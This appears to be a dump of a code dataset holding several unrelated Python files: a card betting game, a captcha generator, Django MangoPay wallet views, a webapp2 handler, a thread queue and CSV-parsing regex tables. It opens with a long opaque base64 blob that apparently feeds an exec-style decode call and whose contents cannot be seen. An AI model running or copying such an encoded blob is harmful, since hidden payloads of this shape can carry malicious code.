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')))) |
16,911 | 79ce429b39c0467514121d5f48b960b28b5448f6 | # coding:utf-8
#Imports
import os
os.system('clear')
from random import randint
#Variables
saldo = 100
apuesta = 0
salir_apuesta = False
#Surt per pantalla el teu saldo.
print "Tu saldo inicial:", saldo
#Condiciรณ d'entrada al bucle.
while (salir_apuesta == False) :
#Elegim la cantitat a apostar.
apuesta = input ("Cantidad a apostar:")
if (apuesta < 10 and apuesta >= 1) :
print "El mรญnimo a apostar es 10"
print ""
#Condiciรณ de sortida del bucle.
if (apuesta == -1) :
print "Adiรณs"
salir_apuesta = True
#Si la cantitat introduรฏda per apostar es correcte establim la variable "salir" que ens servirร per entrar al segรผent bucle.
if (apuesta > 10 and apuesta < saldo) :
salir = False
#Entrada del segon bucle.
while (salir==False) :
#Nombre aleatori per el pal de cada carta.
aleatori = randint (1,4)
if (aleatori == 1) :
palo = "de picas"
if (aleatori == 2) :
palo = "de diamantes"
if (aleatori == 3) :
palo = "de treboles"
if (aleatori == 4) :
palo = "de corazones"
#Nombre aleatori per el nรบmero de cada carta.
num = randint (2,14)
if (num <= 10) :
carta = num
if (num == 11) :
carta = "J"
if (num == 12) :
carta = "Q"
if (num == 13) :
carta = "K"
if (num == 14) :
carta = "AS"
#Fem el mateix per la banca.
aleatori2 = randint (1,4)
if (aleatori2 == 1) :
palo2 = "de picas"
if (aleatori2 == 2) :
palo2 = "de diamantes"
if (aleatori2 == 3) :
palo2 = "de treboles"
if (aleatori2 == 4) :
palo2 = "de corazones"
num2 = randint (2,14)
if (num2 <= 10) :
carta2 = num2
if (num2 == 11) :
carta2 = "J"
if (num2 == 12) :
carta2 = "Q"
if (num2 == 13) :
carta2 = "K"
if (num2 == 14) :
carta2 = "A"
#Resultats:
print ""
print "Banca:", carta, palo
print "Yo:", carta2, palo2
print ""
#Qui guanya:
if ( num > num2 or num == num2 ) :
print "Gana la banca."
#Si la banca guanya el teu saldo baixa.
saldo = (saldo - apuesta)
print "Tu saldo:", saldo
#Surt del bucle de les jugades.
salir = True
if ( num < num2 ) :
print "Ganas tรบ."
#Si tu guanyes el teu saldo puja.
saldo = (saldo + (apuesta * 2))
print "Tu saldo:", saldo
#Surt del bucle de les jugades.
salir = True
#Condiciรณ de sortida del primer bucle.
if (salir == True ) :
salir_apuesta = True
|
16,912 | 623161f5e1a81dfcc049236e32369c2077bc314b | from PIL import Image, ImageDraw, ImageFont
import string
import random
def get_generate_authenticode():
# ่ทๅ้ๆบๆฐ
letters = ''.join([random.choice(string.ascii_letters) for i in range(4)])
# ็ปๅถๅพ็
width = 100
height = 40
im = Image.new('RGB', (width, height), (255, 255, 255))
#ๆๅญ็ปๅพ
dr = ImageDraw.Draw(im)
font = ImageFont.truetype('C:\\Windows\\Fonts\\Arial.ttf', width // 5)
for i in range(4):
dr.text((5 + i * 20, 5), letters[i], (random.randint(
0, 255), random.randint(0, 255), random.randint(0, 255)), font)
del dr
# ๆนๅ่ๆฏ
for x in range(width):
for y in range(height):
if im.getpixel((x, y)) == (255, 255, 255):
im.putpixel((x, y), (random.randint(0, 255), random.randint(
0, 255), random.randint(0, 255)))
# ไฟๅญๅพ็
im.save('t1.png')
if __name__ == '__main__':
get_generate_authenticode()
|
16,913 | b97851a715aea71fe57d1db57a94baf37a0c954d | import itertools
def is_pangram(sentence):
sentence = str(sentence)
final_set = set(c.lower() for c in sentence if c.isalpha())
return len(final_set) == 26
|
16,914 | b015af9beab7eb01dc7c5d619be11c14f9468759 | import logging
import random, string
from django.http import Http404
from django.db import transaction
from rest_framework import generics
from rest_framework.response import Response
from rest_framework.views import APIView
from rest_framework.permissions import IsAuthenticated
from mangopay.resources import NaturalUser, Wallet
from user_management.models import *
from wallet_transactions.models import *
from wallet_transactions.rest.serializers.offline_transactions import *
logger = logging.getLogger("wallets_log")
class CreateCashRequestView(APIView):
"""
Create cash request by user to teller
"""
permission_classes = (IsAuthenticated,)
@transaction.atomic()
def post(self, request, format=None):
try:
teller = Teller.objects.get(id=request.data['teller_id'])
currency = Currency.objects.get(code=request.data['currency'])
cash_request = CashRequest.objects.create(user=request.user, teller=teller,\
currency=currency, note=request.data['note'],\
amount=decimal.Decimal(request.data['amount']),\
request_type=request.data['transaction_mode'])
cash_request_serializer = CashRequestSerializer(cash_request)
logger.info("Cash_request sent by {} user to {} teller.".format(request.user.phone_no, teller.user.phone_no))
return Response({
'success': True,
'message': 'Cash request successfully raised.',
'data':cash_request_serializer.data
})
except Exception as e:
logger.error("{}, error occured while cash request.".format(e))
return Response({
'success': False,
'message': 'Error occured while cash request.',
'data':{}
})
class CashRequestDetailView(generics.RetrieveUpdateAPIView):
"""
Retrieve and update cash request
"""
queryset = CashRequest.objects.all()
serializer_class = CashRequestSerializer
permission_classes = (IsAuthenticated,)
def retrieve(self, request, *args, **kwargs):
try:
instance = self.get_object()
serializer = self.get_serializer(instance)
return Response({
'success': True,
'message': 'Successfully displayed details.',
'data':serializer.data
})
except Exception as e:
logger.error("{}, error occured while displaying teller details.".format(e))
return Response({
'success': False,
'message': 'Error occured while displaying teller details.',
'data': {}
})
@transaction.atomic()
def put(self, request, *args, **kwargs):
try:
instance = self.get_object()
if instance.request_status == 'P':
instance.request_status = request.data['request_status']
elif instance.request_status == 'A':
if request.data['is_confirm']:
instance.user_confirmation_code = ''.join([random.choice(string.digits) for n in range(6)])
else:
instance.request_status = 'R'
instance.note = request.data['note']
instance.save()
cash_request_serializer = CashRequestSerializer(instance)
logger.info("{} cash_request is updated successfully.".format(instance.id))
return Response({
'success': True,
'message': 'Successfully updated.',
'data': cash_request_serializer.data
})
except Exception as e:
logger.error("{}, error occured while updating cash request.".format(e))
return Response({
'success': False,
'message': 'Error occured while updating cash request.',
'data':{}
})
class CashTransactionView(APIView):
"""
Cash transaction between user and teller
"""
permission_classes = (IsAuthenticated,)
@transaction.atomic()
def post(self, request, format=None):
try:
cash_request = CashRequest.objects.get(user_confirmation_code=request.data['confirmation_code'])
teller = Teller.objects.get(user=request.user)
if cash_request.teller == teller:
teller_wallet_obj = UserWallet.objects.get(user=request.user, currency=cash_request.currency, status='A')
teller_wallet = Wallet.get(teller_wallet_obj.mangopay_wallet_id)
user_wallet_obj = UserWallet.objects.get(user=cash_request.user, currency=cash_request.currency, status='A')
user_wallet = Wallet.get(user_wallet_obj.mangopay_wallet_id)
if cash_request.request_type == 'A':
transaction_amount = cash_request.amount - teller.fee
author_user = NaturalUser.get(request.user.mangopay_user_id)
transfer = Transfer(author=author_user, #sender
debited_funds=Money(amount=transaction_amount, currency=cash_request.currency.code),
fees=Money(amount=cash_request.currency.fee, currency=cash_request.currency.code),
debited_wallet=teller_wallet,
credited_wallet=user_wallet)
else:
transaction_amount = cash_request.amount + teller.fee + cash_request.currency.fee
author_user = NaturalUser.get(cash_request.user.mangopay_user_id)
transfer = Transfer(author=author_user, #sender
debited_funds=Money(amount=transaction_amount, currency=cash_request.currency.code),
fees=Money(amount=cash_request.currency.fee, currency=cash_request.currency.code),
debited_wallet=user_wallet,
credited_wallet=teller_wallet)
transfer.save()
cash_request.transaction_reference_number = transfer.get_pk()
cash_request.save()
logger.info("Cash_transaction completed successfully between {} user and {} teller for {} cashrequest."\
.format(request.user.phone_no, teller.user.phone_no, cash_request.id))
return Response({
'success': True,
'message': 'Cash transaction successfully completed.',
'data':{
'transaction_id':transfer.get_pk()
}
})
except Exception as e:
logger.exception("{}, error occured while cash transaction.".format(e))
return Response({
'success': False,
'message': 'Error occured while cash transaction.',
'data':{}
})
class TransferTransactionView(APIView):
"""
Send money from one user to another
"""
permission_classes = (IsAuthenticated,)
@transaction.atomic()
def post(self, request, format=None):
try:
currency = Currency.objects.get(code=request.data['currency'])
receiver_user = User.objects.get(phone_no=request.data['mobile_number'])
sender_wallet_obj = UserWallet.objects.get(user=request.user, currency=currency, status='A')
sender_wallet = Wallet.get(sender_wallet_obj.mangopay_wallet_id)
receiver_wallet_obj = UserWallet.objects.get(user=receiver_user, currency=currency, status='A')
receiver_wallet = Wallet.get(receiver_wallet_obj.mangopay_wallet_id)
author_user = NaturalUser.get(request.user.mangopay_user_id)
transfer = Transfer(author=author_user, #sender
debited_funds=Money(amount=request.data['amount'], currency=currency.code),
fees=Money(amount=currency.fee, currency=currency.code),
debited_wallet=sender_wallet,
credited_wallet=receiver_wallet)
transfer.save()
logger.info("Money transfered successfully from {} user to {} user."\
.format(request.user.phone_no, receiver_user.phone_no))
return Response({
'success': True,
'message': 'Money transfered successfully.',
'data':{
'transaction_id':transfer.get_pk()
}
})
except Exception as e:
logger.exception("{}, error occured while transfering money.".format(e))
return Response({
'success': False,
'message': 'Error occured while transfering money.',
'data':{}
})
|
16,915 | 9943614eaed310fa26eebce2df56e27a73abbd16 | # encoding: utf-8
import os
import requests
import unittest
import twork_env
class TworkTestCase(unittest.TestCase):
"""UnitTestBase For TworkApp
"""
def setUp(self):
env_mode = os.environ['PY_TEST_ENV_TWDEMO']
self.run_env = twork_env.ENV[env_mode]
self.run_host = self.run_env['twork_host']
def tearDown(self):
if hasattr(self, 'response'):
self.response.close()
if __name__ == '__main__':
unittest.main()
|
16,916 | 03ded613b7813d398679db85cd5a3c3bf1a75f98 | import numpy as np
import pandas as pd
import sys
"""
Takes the spect_HEART.csv file and changes the label such that outliers are -1
and inliers are 1.
"""
def fix_label(df):
"""
Fits the label column such that outliers are -1 and inliers are 1.
"""
df_label = df['OVERALL_DIAGNOSIS']
df_label.replace({0: -1, 1: 1}, inplace=True)
df = df.drop(['OVERALL_DIAGNOSIS'], axis=1)
df = pd.concat([df_label, df], axis=1)
df.columns.values[0] = "label"
return df
if __name__ == '__main__':
path = sys.argv[1]
df = pd.read_csv(path)
df = fix_label(df)
print("shape of all", df.shape)
print("# outliers", df.loc[df['label'] == -1].shape[0])
df.to_csv("spect_heart_prep.csv", index=False)
|
16,917 | b119120d58c58a4dc92eddc9e06fb2f92d26dc40 | import jinja2
import json
import logging
import os
import urllib2
import webapp2
import config
JINJA_ENV = jinja2.Environment(
loader=jinja2.FileSystemLoader([
os.path.dirname(__file__) + '/../templates',
os.path.dirname(__file__) + '/../static',
]))
def jinja_include(filename):
return jinja2.Markup(JINJA_ENV.loader.get_source(JINJA_ENV, filename)[0])
JINJA_ENV.globals['include'] = jinja_include
class HtmlHandler(webapp2.RequestHandler):
def get(self, **kwargs):
self.response.headers['Content-Type'] = 'text/html'
js_vars = []
rendered_template = JINJA_ENV.get_template('index.html').render({
'APP_ROOT': config.APP_ROOT,
'js_vars': js_vars,
})
self.response.write(rendered_template)
class StaticHandler(webapp2.RequestHandler):
def get(self, filename):
if filename.endswith('.js'):
self.response.headers['Content-Type'] = 'application/javascript'
if filename.endswith('.json'):
self.response.headers['Content-Type'] = 'application/json'
if filename.endswith(('.css', '.html')):
self.response.headers['Content-Type'] = 'text/css'
rsp = JINJA_ENV.get_template(filename).render({
'APP_ROOT': config.APP_ROOT,
})
self.response.headers.add_header("Access-Control-Allow-Origin", "*")
self.response.write(rsp)
application = webapp2.WSGIApplication([
webapp2.Route(config.APP_ROOT, handler=HtmlHandler),
webapp2.Route(config.APP_ROOT+'/s/<filename:.*>', handler=StaticHandler),
])
|
16,918 | 4d7a3f0a2e90b23428126d8696d96c3e68bf48b8 | from threading import Thread, Semaphore, RLock
from time import sleep
from random import randint
from collections import deque
class SimpleQueue:
def __init__(self, size):
self.queue = deque()
self.reader = Semaphore(0)
self.writer = Semaphore(size)
self.lock = RLock()
def put(self, v):
self.writer.acquire()
with self.lock: self.queue.append(v)
self.reader.release()
def get(self):
self.reader.acquire()
with self.lock: v = self.queue.popleft()
self.writer.release()
return v
queue = SimpleQueue(10)
def producer():
while True:
v = randint(1, 100)
print "Produced: ", v
queue.put(v)
#sleep(v/100.0)
def consumer():
while True:
v = queue.get()
print "Consumed: ", v
sleep((v/100.0) + 0.3)
p = Thread(target=producer)
c = Thread(target=consumer)
p.start()
c.start()
|
16,919 | 392d06ac6ef2fbf26726e5a4023527f92342d41d | import re
from enum import IntEnum, auto
class Version(IntEnum):
v1 = auto()
v2 = auto()
v3 = auto()
v3_2 = auto()
# original v1
# datetime,username,manufacturer,serial,name,macaddress
full_line_v1 = re.compile('^([^,]+),([^,]+),(.*),([\- A-Za-z0-9]*),'
'([^,]+),([:A-Fa-f0-9]{17})$')
# v2
# "datetime","username","manufacturer","serial","name","macaddress",
# "ram","osversion","ossku","osarchitecture","hdd"
# Another solution is a regex that matches every field and then findall(),
# But this can't be used to validate the format of the first line unless we
# do a findall and then count the number of results
# 11 instances of "(\[.*\]|{.*}|[^"]*)"
full_line_v2 = re.compile('^"([^"]*)",?"([^"]*)",?"([^"]*)",?"([^"]*)",?'
'"([^"]*)",?"([^"]*)",?"([^"]*)",?"([^"]*)",?'
'"([^"]*)",?"([^"]*)",?"([^"]*)",?$')
# v3.0, v3.1
# "datetime(YMDHMS)","username","manufacturer","serial","name","macaddress",
# "ram","osversion","ossku","osarchitecture","hdd","ipaddresses"
# 12 instances of "(\[.*\]|{.*}|[^"]*)"
full_line_v3 = re.compile('^"([^"]*)",?"([^"]*)",?"([^"]*)",?"([^"]*)",?'
'"([^"]*)",?"([^"]*)",?"([^"]*)",?"([^"]*)",?'
'"([^"]*)",?"([^"]*)",?"([^"]*)",?"([^"]*)",?$')
# v3.2, v3.3
# "datetime(YMDHMS)","username","manufacturer","serial","name",
# "networkconfig(JSON)", "ram","osversion","ossku","osarchitecture","hdd"
# 11 instances of "(\[.*\]|{.*}|[^"]*)",?
full_line_v3_2 = re.compile('^"(\[.*\]|{.*}|[^"]*)",?"(\[.*\]|{.*}|[^"]*)",?'
'"(\[.*\]|{.*}|[^"]*)",?"(\[.*\]|{.*}|[^"]*)",?'
'"(\[.*\]|{.*}|[^"]*)",?"(\[.*\]|{.*}|[^"]*)",?'
'"(\[.*\]|{.*}|[^"]*)",?"(\[.*\]|{.*}|[^"]*)",?'
'"(\[.*\]|{.*}|[^"]*)",?"(\[.*\]|{.*}|[^"]*)",?'
'"(\[.*\]|{.*}|[^"]*)",?$')
# values are tuples of format (regex,strp_format_string)
date_formats = {
"ambiguous_date":(re.compile('(0?[1-9]|1[012])/(0?[1-9]|1[012])/(20\d\d)'),),
"unambiguous_dmy":(re.compile('(1[3-9]|2[0-9]|3[01])/(0?[1-9]|1[012])/(20\d\d)'),'%d/%m/%Y %I:%M:%S %p'),
"unambiguous_mdy":(re.compile('(0?[1-9]|1[012])/(1[3-9]|2[0-9]|3[01])/(20\d\d)'),'%m/%d/%Y %I:%M:%S %p'),
"assumed_ymd":(re.compile('(20\d\d)[/-](0?[1-9]|1[012])[/-]([0-2]?[0-9]|3[01])'),'%Y-%m-%d %I:%M:%S %p')
}
manufacturer_subs = {
"":"",
"American Megatrends Inc.":"American Megatrends",
"American Megatrends, Inc.":"American Megatrends",
"TOSHIBA":"TOSHIBA",
"Award Software International, Inc.":"eMachines",
"Phoenix Technologies LTD":"VMWARE-PHOENIX",
"Dell Computer Corporation":"DELL",
"LENOVO":"LENOVO",
"Dell Inc.":"DELL",
"Seabios":"KVM-SEABIOS",
"Dell Inc. ":"DELL",
"Hewlett-Packard":"HP",
"Acer":"ACER",
"HP":"HP",
"Acer ":"ACER",
"Intel Corp.":"INTEL",
"Dell Inc. ":"DELL",
"Phoenix Technologies, LTD":"PHOENIX"
}
osVersion_subs = {
"6.0":"WinVista",
"6.1":"Win7",
"6.2":"Win8",
"6.3":"Win8.1",
"10.0":"Win10"
}
osSku_subs = {
# Translated from https://msdn.microsoft.com/en-us/library/aa394239(v=vs.85).aspx
# ^(.+) \((\d+)\)\n(.+)$
"0":"An unknown product",
"1":"Ultimate",
"2":"Home Basic",
"3":"Home Premium",
"4":"Enterprise",
"5":"Home Basic N",
"6":"Business",
"7":"Server Standard",
"8":"Server Datacenter (full installation)",
"9":"Windows Small Business Server",
"10":"Server Enterprise (full installation)",
"11":"Starter",
"12":"Server Datacenter (core installation)",
"13":"Server Standard (core installation)",
"14":"Server Enterprise (core installation)",
"15":"Server Enterprise for Itanium-based Systems",
"16":"Business N",
"17":"Web Server (full installation)",
"18":"HPC Edition",
"19":"Windows Storage Server 2008 R2 Essentials",
"20":"Storage Server Express",
"21":"Storage Server Standard",
"22":"Storage Server Workgroup",
"23":"Storage Server Enterprise",
"24":"Windows Server 2008 for Windows Essential Server Solutions",
"25":"Small Business Server Premium",
"26":"Home Premium N",
"27":"Enterprise N",
"28":"Ultimate N",
"29":"Web Server (core installation)",
"30":"Windows Essential Business Server Management Server",
"31":"Windows Essential Business Server Security Server",
"32":"Windows Essential Business Server Messaging Server",
"33":"Server Foundation",
"34":"Windows Home Server 2011",
"35":"Windows Server 2008 without Hyper-V for Windows Essential Server Solutions",
"36":"Server Standard without Hyper-V",
"37":"Server Datacenter without Hyper-V (full installation)",
"38":"Server Enterprise without Hyper-V (full installation)",
"39":"Server Datacenter without Hyper-V (core installation)",
"40":"Server Standard without Hyper-V (core installation)",
"41":"Server Enterprise without Hyper-V (core installation)",
"42":"Microsoft Hyper-V Server",
"43":"Storage Server Express (core installation)",
"44":"Storage Server Standard (core installation)",
"45":"Storage Server Workgroup (core installation)",
"46":"Storage Server Enterprise (core installation)",
"47":"Starter N",
"48":"Professional",
"49":"Professional N",
"50":"Windows Small Business Server 2011 Essentials",
"51":"Server For SB Solutions",
"52":"Server Solutions Premium",
"53":"Server Solutions Premium (core installation)",
"54":"Server For SB Solutions EM",
"55":"Server For SB Solutions EM",
"56":"Windows MultiPoint Server",
"59":"Windows Essential Server Solution Management",
"60":"Windows Essential Server Solution Additional",
"61":"Windows Essential Server Solution Management SVC",
"62":"Windows Essential Server Solution Additional SVC",
"63":"Small Business Server Premium (core installation)",
"64":"Server Hyper Core V",
"66":"Starter E",
"67":"Home Basic E",
"68":"Home Premium E",
"69":"Professional E",
"70":"Enterprise E",
"71":"Ultimate E",
"72":"Server Enterprise (evaluation installation)",
"76":"Windows MultiPoint Server Standard (full installation)",
"77":"Windows MultiPoint Server Premium (full installation)",
"79":"Server Standard (evaluation installation)",
"80":"Server Datacenter (evaluation installation)",
"84":"Enterprise N (evaluation installation)",
